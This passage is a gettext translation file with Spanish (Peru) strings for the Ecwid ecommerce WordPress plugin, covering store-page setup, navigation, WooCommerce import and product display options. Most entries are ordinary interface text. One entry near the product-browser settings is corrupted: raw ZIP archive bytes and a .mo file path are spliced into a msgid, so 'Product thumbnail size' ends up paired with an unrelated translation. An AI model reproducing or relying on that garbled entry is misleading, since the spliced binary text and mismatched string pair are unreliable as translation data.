feel that reflects your brand." msgstr "Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca." #: templates/admin/storefront/area-promo.php:21 msgid "Customize store appearance" msgstr "Personalizar la apariencia de la tienda" #: templates/admin/storefront/area-promo.php:7 msgid "Add your %s store to the website and start selling in minutes." msgstr "Añada su tienda de %s al sitio web y comience a vender en minutos." #: templates/admin/storefront/area-promo.php:3 msgid "What's next?" msgstr "¿Qué sigue?" #: templates/admin/storefront/area-additional.php:224 msgid "Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar." msgstr "Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral." #: templates/admin/storefront/area-additional.php:222 msgid "Choose the main store page" msgstr "Elegir la página principal de la tienda" #: templates/admin/storefront/area-additional.php:200 msgid "Go to Pages" msgstr "Ir a «Páginas»" #: templates/admin/storefront/area-additional.php:193 msgid "You can add the entire storefront, categories, products, or \"Buy now\" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block." msgstr "Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado." #: templates/admin/storefront/area-additional.php:189 msgid "Add your store to other site pages" msgstr "Añada su tienda a otras páginas del sitio web" #: templates/admin/storefront/area-additional.php:166 msgid "Create Product Page" msgstr "Crear página de productos" #: templates/admin/storefront/area-additional.php:150 msgid "Pick Product" msgstr "Elegir un producto" #: templates/admin/storefront/area-additional.php:136 #: templates/admin/storefront/area-additional.php:138 msgid "Create a landing page featuring one of your products." msgstr "Cree una página de aterrizaje con uno de sus productos." #: templates/admin/storefront/area-additional.php:132 msgid "Add a product page" msgstr "Añadir página de productos" #: templates/admin/storefront/area-additional.php:109 msgid "Create Category Page" msgstr "Crear página de categorías" #: templates/admin/storefront/area-additional.php:93 msgid "Pick Category" msgstr "Elegir una categoría" #: templates/admin/storefront/area-additional.php:79 #: templates/admin/storefront/area-additional.php:81 msgid "Feature a specific store category on a separate page of your site." msgstr "Destacar una categoría de la tienda específica en una página separada de su sitio web." #: templates/admin/storefront/area-additional.php:75 msgid "Add a category page" msgstr "Añadir una página de categoría" #: templates/admin/storefront/area-additional.php:54 msgid "Create Search Page" msgstr "Crear página de búsqueda" #: templates/admin/storefront/area-additional.php:50 msgid "Show customers that they can use a search and filters to find desired products faster." msgstr "Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida." #: templates/admin/storefront/area-additional.php:48 msgid "Add a search and filters page" msgstr "Añadir una página de búsqueda y filtros" #: templates/admin/storefront/area-additional.php:27 msgid "Create Cart Page" msgstr "Crear página del carrito" #: templates/admin/storefront/area-additional.php:23 msgid "Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout." msgstr "Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago." #: templates/admin/storefront/area-additional.php:21 msgid "Add cart and checkout page" msgstr "Añadir carrito y página de pago" #: templates/admin/storefront/area-additional.php:4 msgid "Highlight products, categories, and other store pages by adding them to separate website pages." msgstr "Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas." #: templates/admin/storefront/area-additional.php:3 msgid "Additional store pages" msgstr "Páginas adicionales de la tienda" #: templates/admin/storefront/draft-message.php:2 msgid "Publish the page to use this option" msgstr "Publique la página para poder utilizar esta opción" #: templates/admin/storefront/area-design.php:55 msgid "Along with the store catalog, you can add other widgets and texts to the store page." msgstr "Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda." #: templates/admin/storefront/area-design.php:54 msgid "Store page content" msgstr "Contenido de la página de la tienda" #: templates/admin/storefront/area-design.php:25 #: templates/admin/storefront/area-design.php:27 msgid "Adjust your store design to fit your business needs." msgstr "Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio." #: templates/admin/storefront/area-design.php:21 msgid "Store appearance" msgstr "Apariencia de la tienda" #: templates/admin/storefront/area-design.php:4 msgid "Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers." msgstr "Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes." #: templates/admin/storefront/area-design.php:3 msgid "Design and content" msgstr "Diseño y contenido" #: templates/admin/storefront/area-status.php:124 msgid "Create Store Page" msgstr "Crear la página de la tienda" #: templates/admin/storefront/area-status.php:121 msgid "Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display." msgstr "Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda." #: templates/admin/storefront/area-status.php:115 msgid "Set Up Your Store" msgstr "Configure su tienda" #: templates/admin/storefront/area-status.php:109 msgid "To show your storefront instead of the demo store, connect your existing %s account or create a new one." msgstr "Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva." #: templates/admin/storefront/area-status.php:101 msgid "Publish Store Page" msgstr "Publicar la página de la tienda" #: templates/admin/storefront/area-status.php:98 msgid "Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders." msgstr "La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos." #: templates/admin/storefront/area-status.php:92 msgid "View Store Page" msgstr "Ver la página de la tienda" #: templates/admin/storefront/area-status.php:86 msgid "Your store page is published. Customers can browse your store at " msgstr "La página de su tienda está publicada. Los clientes pueden visitar su tienda en " #: templates/admin/storefront/area-status.php:77 msgid "View demo store page" msgstr "Ver la página de la tienda de demostración" #: templates/admin/storefront/area-status.php:46 msgid "Draft" msgstr "Borrador" #: templates/admin/storefront/area-status.php:45 msgid "Published" msgstr "Publicada" #: templates/admin/storefront/area-status.php:33 #: templates/admin/storefront/area-status.php:36 msgid "Status" msgstr "Estado" #: templates/admin/storefront/area-status.php:29 msgid "Add a store page" msgstr "Añadir una página de tienda" #: templates/admin/storefront/area-status.php:24 msgid "Connect your %s store" msgstr "Conecte su tienda de %s" #: templates/admin/storefront/area-status.php:21 msgid "Your store page" msgstr "La página de su tienda" #: templates/admin/storefront/area-status.php:10 msgid "To start selling, add a page to your site where the storefront will display." msgstr "Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual." #: templates/admin/storefront/area-status.php:7 msgid "While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site." msgstr "Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web." #: templates/admin/storefront/area-status.php:4 msgid "Store page on your site" msgstr "Página de la tienda en su sitio web" #: templates/admin/storefront/area-navigation.php:205 msgid "The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href=\"%s\" target=\"_blank\">adjust the cart icon appearance</a>." msgstr "El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href=\"%s\" target=\"_blank\">ajustar la apariencia del icono del carrito</a>." #: templates/admin/storefront/area-navigation.php:201 msgid "Display the shopping cart icon on site pages" msgstr "Muestre el icono del carrito de compras en las páginas del sitio web" #: templates/admin/storefront/area-navigation.php:179 msgid "Manage Sidebar" msgstr "Gestionar la barra lateral" #: templates/admin/storefront/area-navigation.php:175 msgid "Highlight your best sellers or new products in the website sidebar." msgstr "Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web." #: templates/admin/storefront/area-navigation.php:173 msgid "Feature your products in the sidebar" msgstr "Destaque sus productos en la barra lateral" #: templates/admin/storefront/area-navigation.php:151 msgid "Add Store Page to Menu" msgstr "Añadir la página de la tienda al menú" #: templates/admin/storefront/area-navigation.php:147 msgid "Make your store accessible from the site menu so your customers can easily find it." msgstr "Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente." #: templates/admin/storefront/area-navigation.php:141 msgid "Add store page to the site menu" msgstr "Añadir la página de la tienda al menú del sitio web" #: templates/admin/storefront/area-navigation.php:118 msgid "Edit URL Slug" msgstr "Editar «slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:102 msgid "Current URL slug: /<span data-ec-store-slug>%s</span>" msgstr "«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>" #: templates/admin/storefront/area-navigation.php:78 msgid "Save" msgstr "Guardar" #: templates/admin/storefront/area-navigation.php:69 msgid "URL Slug" msgstr "«Slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:60 #: templates/admin/storefront/area-navigation.php:113 msgid "A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use \"/shop\" or \"/products\"." msgstr "Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos»." #: templates/admin/storefront/area-navigation.php:56 #: templates/admin/storefront/area-navigation.php:98 msgid "Customize store page address" msgstr "Personalizar la dirección de la página de la tienda" #: templates/admin/storefront/area-navigation.php:29 msgid "Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href=\"%s\" target=\"_blank\">WordPress Settings > Reading</a>" msgstr "Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href=\"%s\" target=\"_blank\">Configuración de WordPress > Lectura</a>." #: templates/admin/storefront/area-navigation.php:21 msgid "Show your store on the home page" msgstr "Muestre su tienda en la página de inicio" #: templates/admin/storefront/area-navigation.php:4 msgid "Help customers find your store on the website." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web." #: templates/admin/storefront/area-navigation.php:3 msgid "Navigation" msgstr "Navegación" #: templates/admin/welcome-no_oauth.php:12 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>." msgstr "El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>." #: templates/admin/welcome-create.php:11 msgid "Your store has been created. Preparing your store dashboard ..." msgstr "Se ha creado su tienda. Preparando el panel de su tienda..." #: templates/admin/welcome-connect.php:8 msgid "Create store" msgstr "Crear tienda" #: templates/admin/welcome-connect.php:4 msgid "Connect Your Store" msgstr "Conecte su tienda" #: templates/admin/welcome-page.php:61 msgid "Provided by <a %s>%s</a>" msgstr "Proporcionado por <a %s>%s</a>" #: templates/admin/welcome-page.php:33 msgid "To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>." msgstr "Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>." #: templates/admin/welcome-page.php:20 msgid "Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website." msgstr "Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web." #: templates/admin/welcome-page.php:12 msgid "Add an Online Store to Your Website" msgstr "Añadir una tienda en línea a su sitio web" #: includes/class-ecwid-store-page.php:566 msgid "This is a demo store. Create your store to see your store products here." msgstr "Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí." #: includes/class-ecwid-admin-storefront-page.php:539 msgid "Publish" msgstr "Publicar" #: templates/admin/storefront/area-design.php:33 #: templates/admin/storefront/area-design.php:59 #: includes/class-ecwid-admin-storefront-page.php:532 msgid "Edit" msgstr "Editar" #: includes/class-ecwid-admin-storefront-page.php:525 msgid "Preview" msgstr "Vista previa" #: includes/class-ecwid-admin-storefront-page.php:516 msgid "Switch to draft" msgstr "Cambiar al borrador" #: includes/class-ecwid-admin-storefront-page.php:506 msgid "Edit page" msgstr "Editar página" #: includes/class-ecwid-admin-storefront-page.php:499 msgid "View store page" msgstr "Ver la página de la tienda" #: includes/class-ecwid-admin-storefront-page.php:286 msgid "Search products" msgstr "Buscar productos" #: includes/class-ecwid-admin-storefront-page.php:265 msgid "Category" msgstr "Categoría" #: includes/class-ecwid-admin-storefront-page.php:240 msgid "Page with that name already exists." msgstr "Ya existe una página con ese nombre." #: includes/class-ecwid-admin.php:538 msgid "My Profile" msgstr "Mi perfil" #: includes/class-ecwid-admin.php:533 msgid "Apps" msgstr "Aplicaciones" #: includes/class-ecwid-admin.php:523 msgid "Shipping & Pickup" msgstr "Envío y recogida" #: includes/class-ecwid-admin.php:518 msgid "Payment" msgstr "Pago" #: includes/class-ecwid-admin.php:513 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:88 msgid "Design" msgstr "Diseño" #: includes/class-ecwid-admin.php:509 msgid "Configuration" msgstr "Configuración" #: includes/class-ecwid-admin.php:504 msgid "All Sales Channels" msgstr "Todos los canales de venta" #: includes/class-ecwid-admin.php:499 msgid "Website" msgstr "Sitio web" #: includes/class-ecwid-admin.php:494 msgid "Mobile" msgstr "Móvil" #: includes/class-ecwid-admin.php:485 msgid "Sales channels" msgstr "Canales de venta" #: includes/class-ecwid-admin.php:480 msgid "Reports" msgstr "Informes" #: includes/class-ecwid-admin.php:475 msgid "Marketing" msgstr "Mercadotecnia" #: includes/class-ecwid-admin.php:470 msgid "Catalog" msgstr "Catálogo" #: includes/class-ecwid-admin.php:465 msgid "My Sales" msgstr "Mis ventas" #: includes/class-ecwid-admin.php:455 msgid "Store management" msgstr "Gestión de la tienda" #: includes/class-ecwid-admin.php:344 msgid "Instant site" msgstr "Sitio web instantáneo" #: includes/class-ecwid-admin.php:153 includes/class-ecwid-admin.php:154 #: includes/class-ecwid-admin.php:309 msgid "Storefront" msgstr "Escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Manage storefront" msgstr "Gestionar escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Customize design" msgstr "Personalizar el diseño" #: ecwid-shopping-cart.php:1103 msgid "Manage store" msgstr "Gestionar la tienda" #: templates/importer/woo-main.tpl.php:97 msgid "Start Import" msgstr "Iniciar la importación" #: templates/importer/woo-main.tpl.php:87 msgid "Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target=\"_blank\">\"Billing & Plans\"</a></nobr> page in your Ecwid store control panel." msgstr "Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target=\"_blank\">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid." #: templates/importer/woo-main.tpl.php:82 msgid "Import creates new products and update the existing products with matching SKUs." msgstr "La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes." #: templates/importer/woo-main.tpl.php:60 msgid "Copying products and categories." msgstr "Copia de productos y categorías." #: templates/importer/woo-main.tpl.php:50 msgid "Import completed. <a href=\"%s\">Run again.</a>" msgstr "Importación completada. <a href=\"%s\">Ejecútela de nuevo.</a>" #: templates/importer/woo-main.tpl.php:34 msgid "Import is in Progress" msgstr "La importación está en progreso" #: templates/importer/woo-main.tpl.php:32 msgid "Import your products from Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/woo-main.tpl.php:18 msgid "Update your catalog" msgstr "Actualice su catálogo" #: templates/importer/woo-main.tpl.php:4 msgid "Import Your Products From Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/import-no-token.tpl.php:3 msgid "Click the connect button to get rights to update the product catalog" msgstr "Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos" #: templates/importer/woo-complete-alert.tpl.php:52 msgid "Go to Your %s Products" msgstr "Ir a sus productos de %s" #: templates/importer/woo-complete-alert.tpl.php:43 msgid "Download <a href=\"%s\">import log</a>" msgstr "Descargar <a href=\"%s\">registro de importación</a>" #: templates/importer/woo-complete-alert.tpl.php:32 msgid "Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>" msgstr "Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>" #: templates/importer/woo-complete-alert.tpl.php:21 msgid "<b>%s</b> categories" msgstr "<b>%s</b> categorías" #: templates/importer/woo-complete-alert.tpl.php:18 msgid "Imported <b>%s</b> products" msgstr "<b>%s</b> productos importados" #: templates/importer/woo-complete-alert.tpl.php:15 msgid "Import completed" msgstr "Importación completada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:10 #: includes/widgets/class-ecwid-widget-product-browser.php:12 msgid "Online store" msgstr "Tienda en línea" #: includes/class-ecwid-store-page.php:476 msgid "%s Store Page" msgstr "Página de la tienda de %s" #: templates/advanced-settings.php:79 msgid "Integration with search on your site" msgstr "Integración con la búsqueda en su sitio web" #: templates/sync.php:130 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: includes/class-ecwid-custom-admin-page.php:66 msgid "Themes for Ecwid" msgstr "Temas para Ecwid" #: includes/class-ecwid-custom-admin-page.php:33 msgid "Plugins for Ecwid" msgstr "Complementos para Ecwid" #: includes/class-ecwid-popup-deactivate.php:138 msgid "I use this WordPress theme: %s" msgstr "Utilizo este tema de WordPress: %s" #: includes/class-ecwid-popup-deactivate.php:132 msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "No pude encontrar un tema de WordPress adecuado para %s" #: includes/class-ecwid-product-browser.php:357 msgid "On the right" msgstr "A la derecha" #: includes/class-ecwid-product-browser.php:353 msgid "On the left" msgstr "A la izquierda" #: includes/class-ecwid-product-browser.php:349 msgid "Filters panel position" msgstr "Posición del panel de filtros" #: includes/class-ecwid-product-browser.php:209 msgid "Default product_ID" msgstr "ID del producto predeterminado" #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:73 msgid "Cart icon" msgstr "Icono del carrito de compras" #: templates/shortcode-stub-store.tpl.php:4 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:20 #: js/gutenberg/blocks.build.js:1 msgid "Store Home Page" msgstr "Página de inicio de la tienda" #: ecwid-shopping-cart.php:431 msgid "Edit Category" msgstr "Editar categoría" #: ecwid-shopping-cart.php:430 msgid "Edit Product" msgstr "Editar producto" #: includes/class-ecwid-admin.php:142 includes/class-ecwid-admin.php:143 msgid "Online Store Apps" msgstr "Aplicaciones de la tienda en línea" #. Plugin Name of the plugin msgid "Ecwid Ecommerce Shopping Cart" msgstr "Carrito de compras del comercio electrónico de Ecwid" #: includes/class-ecwid-custom-admin-page.php:58 includes/faq_entries.php:76 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href=\"%s\">temas de TemplateMonster</a>." #: includes/faq_entries.php:74 msgid "Is there a WordPress theme for Ecwid?" msgstr "¿Existe algún tema de WordPress para Ecwid?" #: templates/admin-footer.php:19 msgid "<a href=\"admin.php?page=" msgstr "<a href=\"admin.php?page=" #: includes/integrations/class-ecwid-integration-gutenberg.php:113 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:25 msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href=\"%1$s\">Apariencia → Personalizar → %2$s</a>» para habilitarlo." #: includes/integrations/class-ecwid-integration-gutenberg.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:18 msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Tienda" #: includes/class-ecwid-product-browser.php:472 msgid "Image feed" msgstr "Canal de imagen" #: includes/class-ecwid-product-browser.php:467 msgid "Vertical thumbnails" msgstr "Miniaturas verticales" #: includes/class-ecwid-product-browser.php:462 msgid "Horizontal thumbnails" msgstr "Miniaturas horizontales" #: includes/class-ecwid-product-browser.php:452 msgid "3 columns, image on the right" msgstr "3 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:448 msgid "3 columns, image on the left" msgstr "3 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:444 msgid "2 columns, image on the right" msgstr "2 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:440 msgid "2 columns, image on the left" msgstr "2 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:429 msgid "Landscape 3:2" msgstr "Horizontal 3:2" #: includes/class-ecwid-product-browser.php:424 msgid "Landscape 4:3" msgstr "Horizontal 4:3" #: includes/class-ecwid-product-browser.php:419 msgid "Square 1:1" msgstr "Cuadrado 1:1" #: includes/class-ecwid-product-browser.php:414 msgid "Portrait 3:4" msgstr "Vertical 3:4" #: includes/class-ecwid-product-browser.php:409 msgid "Portrait 2:3" msgstr "Vertical 2:3" #: includes/class-ecwid-product-browser.php:399 msgid "L" msgstr "G" #: includes/class-ecwid-product-browser.php:395 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:391 msgid "S" msgstr "P" #: includes/class-ecwid-product-browser.php:381 msgid "Show on hover" msgstr "Mostrar al pasar el ratón" #: includes/class-ecwid-product-browser.php:377 msgid "Hide" msgstr "Ocultar" #: includes/class-ecwid-product-browser.php:373 msgid "Show" msgstr "Mostrar" #: includes/class-ecwid-product-browser.php:342 msgid "Background color" msgstr "Color del fondo" #: includes/class-ecwid-product-browser.php:335 msgid "Link color" msgstr "Color del enlace" #: includes/class-ecwid-product-browser.php:328 msgid "Price color" msgstr "Color del precio" #: includes/class-ecwid-product-browser.php:321 msgid "Text color" msgstr "Color del texto" #: includes/class-ecwid-product-browser.php:314 msgid "Button color" msgstr "Color del botón" #: includes/class-ecwid-product-browser.php:299 msgid "Wholesale prices" msgstr "Precios al por mayor" #: includes/class-ecwid-product-browser.php:292 msgid "\"In stock\" label" msgstr "Etiqueta de productos «En existencia»" #: includes/class-ecwid-product-browser.php:285 msgid "Available qty in stock" msgstr "Cantidad disponible en existencia" #: includes/class-ecwid-product-browser.php:278 msgid "Product quantity" msgstr "Cantidad de productos" #: includes/class-ecwid-product-browser.php:271 msgctxt "product-browser-attributes" msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:264 msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:257 msgid "Breadcrumbs" msgstr "Migas de pan" #: includes/class-ecwid-product-browser.php:241 msgid "Image gallery layout" msgstr "Diseño de la galería de imágenes" #: includes/integrations/class-ecwid-integration-gutenberg.php:391 #: includes/class-ecwid-product-browser.php:224 #: includes/class-ecwid-product-browser.php:233 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:212 msgid "Show description under the image" msgstr "Mostrar descripción debajo de la imagen" #: includes/class-ecwid-product-browser.php:216 msgid "Product page layout" msgstr "Diseño de la página de productos" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Mostrar «ordenar por enlace»" #: includes/class-ecwid-product-browser.php:186 #: includes/class-ecwid-product-browser.php:306 msgid "Display sign in link" msgstr "Mostrar el enlace de inicio de sesión" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Mostrar el menú del pie de página" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Mostrar migas de pan" #: includes/class-ecwid-product-browser.php:163 js/gutenberg/blocks.build.js:1 msgid "Display search box" msgstr "Mostrar el cuadro de búsqueda" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Mostrar el menú de categorías" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Tamaño de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Solo imagen" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Solo título" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Imagen y título al pasar el ratón por encima" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Título en la imagen" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Título debajo de la imagen" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Diseño de la ficha de categoría" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Mostrar imagen adicional al pasar el ratón" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Botones de «Comprar ahora»" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Título del producto" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "Justificado" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "Derecha" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "Centrado" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "Izquierda" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "El texto de la ficha del producto se alinea" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Mostrar el borde de la ficha del producto" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura del producto" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Tamaño dePK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_PE.monu�„[µü¤��������" msgstr "Mostrar miniaturas de los productos" #. Author of the plugin msgid "Ecwid Ecommerce" msgstr "Comercio electrónico Ecwid" #: templates/importer/woo-summary.tpl.php:34 msgid "After import, your %s store will have " msgstr "Después de la importación, su tienda de %s tendrá " #: templates/importer/woo-summary.tpl.php:21 msgid "Your %s store has " msgstr "Su tienda de %s tiene " #: templates/importer/woo-summary.tpl.php:10 msgid "Your WooCommerce store has " msgstr "Su tienda de WooCommerce tiene " #: includes/integrations/class-ecwid-integration-elementor.php:64 #: includes/integrations/class-ecwid-integration-divibuilder.php:25 #: includes/integrations/class-ecwid-integration-gutenberg.php:94 msgid "%s Store" msgstr "Tienda de %s" #: includes/importer/class-ecwid-import-page.php:184 msgid "%s products" msgstr "%s productos" #: includes/importer/class-ecwid-import-page.php:178 msgid "%s products and %s categories" msgstr "%s productos y %s categorías" #: includes/class-ecwid-stub-renderer.php:27 #: includes/class-ecwid-admin-storefront-page.php:272 msgid "Product" msgstr "Producto" #: includes/class-ecwid-message-manager.php:278 #: includes/class-ecwid-message-manager.php:297 #: includes/class-ecwid-message-manager.php:318 msgid "Warning: some of your online store features are disabled. Please contact your hosting provider to resolve." msgstr "Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo." #: templates/admin/legacy-connect.tpl.php:39 msgid "Create new account" msgstr "Crear una nueva cuenta" #: templates/admin/legacy-connect.tpl.php:33 msgid "Register at %s" msgstr "Registrarse en %s" #: includes/class-ecwid-floating-minicart.php:155 msgid "Bottom left" msgstr "Abajo a la izquierda" #: includes/class-ecwid-floating-minicart.php:154 msgid "Top left" msgstr "Arriba a la izquierda" #: includes/class-ecwid-floating-minicart.php:113 msgid "Show on all pages" msgstr "Mostrar en todas las páginas" #: includes/class-ecwid-floating-minicart.php:112 msgid "Show on store pages" msgstr "Mostrar en las páginas de la tienda" #: includes/class-ecwid-floating-minicart.php:111 msgid "Do not show" msgstr "No mostrar" #: includes/class-ecwid-customizer.php:134 msgid "Vertical indent" msgstr "Sangría vertical" #: includes/class-ecwid-customizer.php:123 msgid "Horizontal indent" msgstr "Sangría horizontal" #: includes/class-ecwid-customizer.php:97 msgid "Icon" msgstr "Icono" #: includes/class-ecwid-customizer.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:79 msgid "Border" msgstr "Borde" #: includes/class-ecwid-customizer.php:72 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:67 msgid "Layout" msgstr "Diseño" #: includes/class-ecwid-customizer.php:61 msgid "Show when empty" msgstr "Mostrar cuando esté vacío" #: includes/class-ecwid-customizer.php:49 msgid "Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The \"Show on store pages\" and \"Show when empty\" options will apply to the cart widget on site when published" msgstr "Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen" #: includes/class-ecwid-customizer.php:47 msgid "Display shopping cart" msgstr "Mostrar el carrito de compras" #: includes/class-ecwid-customizer.php:35 msgid "Shopping Cart Widget" 